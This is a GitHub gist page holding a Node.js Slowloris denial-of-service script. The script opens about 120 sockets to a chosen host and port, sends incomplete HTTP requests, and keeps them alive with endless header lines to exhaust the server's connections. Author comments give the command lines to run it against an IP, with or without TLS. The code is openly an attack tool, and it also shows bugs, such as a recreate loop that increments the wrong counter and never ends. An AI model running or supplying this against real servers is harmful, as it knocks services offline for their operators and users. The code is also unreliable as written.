Skip to content

Instantly share code, notes, and snippets.

@ktfth
Last active August 11, 2020 12:50
Show Gist options
  • Save ktfth/f24ff4cf7f23d87f56d02485c8f678f4 to your computer and use it in GitHub Desktop.
Save ktfth/f24ff4cf7f23d87f56d02485c8f678f4 to your computer and use it in GitHub Desktop.
Low traffic of a host target
'use strict';
const net = require('net');
const tls = require('tls');
let args = process.argv.slice(2);
let socketCount = 120;
let listOfSockets = [];
const randomData = (s=0, n=2000) => {
let r = parseInt(Math.random() * n);
if (r < s) {
return randomData(s, n);
}
return r;
};
const createSocket = (host, port) => {
let client = null;
if (args.indexOf('https') === -1) {
client = net.Socket();
} else if (args.indexOf('https') > -1) {
client = tls.TLSSocket();
}
client.setTimeout(4);
client.connect(parseInt(port, 10), host, () => {
client.write('GET /?' + randomData() + ' HTTP/1.1\r\n');
});
return client;
};
const createSockets = (sc=socketCount) => {
for (var i = 0; i < sc + 1; i++) {
let s = null;
try {
if (args.length === 3) {
s = createSocket(args[0], args[1])
} else if (args.length === 2) {
s = createSocket(args[0], args[1]);
} else if (args.length === 1) {
s = createSocket(args[0], 80);
}
s.setMaxListeners(10000);
} catch (e) {
break
}
listOfSockets.push(s);
}
return listOfSockets;
};
const keepAliveSockets = () => {
while (true) {
try {
console.log('Sending keep-alive headers... Socket count: ' + socketCount);
for (var i = 0; i < listOfSockets.length; i++) {
let s = listOfSockets[i];
try {
s.write('X-a: ' + randomData(1, 5000) + '\r\n');
} catch (e) {
listOfSockets.pop(i);
}
}
for (var j = 0; j < (socketCount - listOfSockets.length); i++) {
console.log('Recreating socket...');
try {
let s = null;
if (args.length === 3) {
s = createSocket(args[0], args[1])
} else if (args.length === 2) {
s = createSocket(args[0], args[1]);
} else if (args.length === 1) {
s = createSocket(args[0], 80);
}
s.setMaxListeners(10000);
listOfSockets.push(s);
} catch (e) {
break
}
}
} catch (e) {
break
}
}
};
createSockets();
keepAliveSockets();
@ktfth
Copy link
Author

ktfth commented Jan 16, 2019

--max-old-space-size

@ktfth
Copy link
Author

ktfth commented Jan 17, 2019

node slowloris.js IP PORT

@ktfth
Copy link
Author

ktfth commented Jan 18, 2019

node slowloris.js IP PORT https

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment